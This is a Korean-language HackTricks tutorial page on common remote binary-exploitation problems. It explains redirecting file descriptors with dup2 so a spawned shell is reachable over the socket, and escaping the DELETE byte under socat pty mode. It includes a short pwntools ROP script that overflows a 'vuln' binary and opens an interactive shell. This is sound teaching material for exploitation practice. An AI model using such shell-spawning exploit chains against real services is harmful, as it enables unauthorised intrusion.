hacktricks/binary-exploitation/common-exploiting-problems.md

4.1 KiB

일반적인 Exploiting 문제

htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!

원격 Exploitation에서의 FDs

예를 들어 **system('/bin/sh')**를 호출하는 원격 서버로 exploit을 전송할 때, 이는 물론 서버 프로세스에서 실행되며, /bin/sh는 stdin(FD: 0)에서 입력을 기대하고 stdout 및 stderr(FDs 12)에서 출력을 표시할 것입니다. 따라서 공격자는 셸과 상호 작용할 수 없을 것입니다.

이를 해결하는 한 가지 방법은 서버가 시작될 때 FD 번호 3 (청취용)를 생성했다고 가정하고, 그 후에 연결이 **FD 번호 4**에 있을 것이라고 가정하는 것입니다. 따라서, dup2 시스템 호출을 사용하여 stdin(FD 0)과 stdout(FD 1)를 공격자 연결의 FD 4(연결용)에 복제하여 실행된 후 셸과 연락할 수 있도록 만들 수 있습니다.

여기에서 exploit 예시

from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()

p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()

Socat & pty

socat는 이미 **stdin**과 **stdout**를 소켓으로 전송합니다. 그러나 pty 모드에는 DELETE 문자가 포함되어 있습니다. 따라서 \x7f (DELETE -)를 보내면 exploit의 이전 문자가 삭제됩니다.

이를 우회하기 위해 \x7f를 보내기 전에 이스케이프 문자 \x16을 추가해야 합니다.

여기에서 이 동작의 예제를 찾을 수 있습니다.

htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 처음부터 전문가까지 배우세요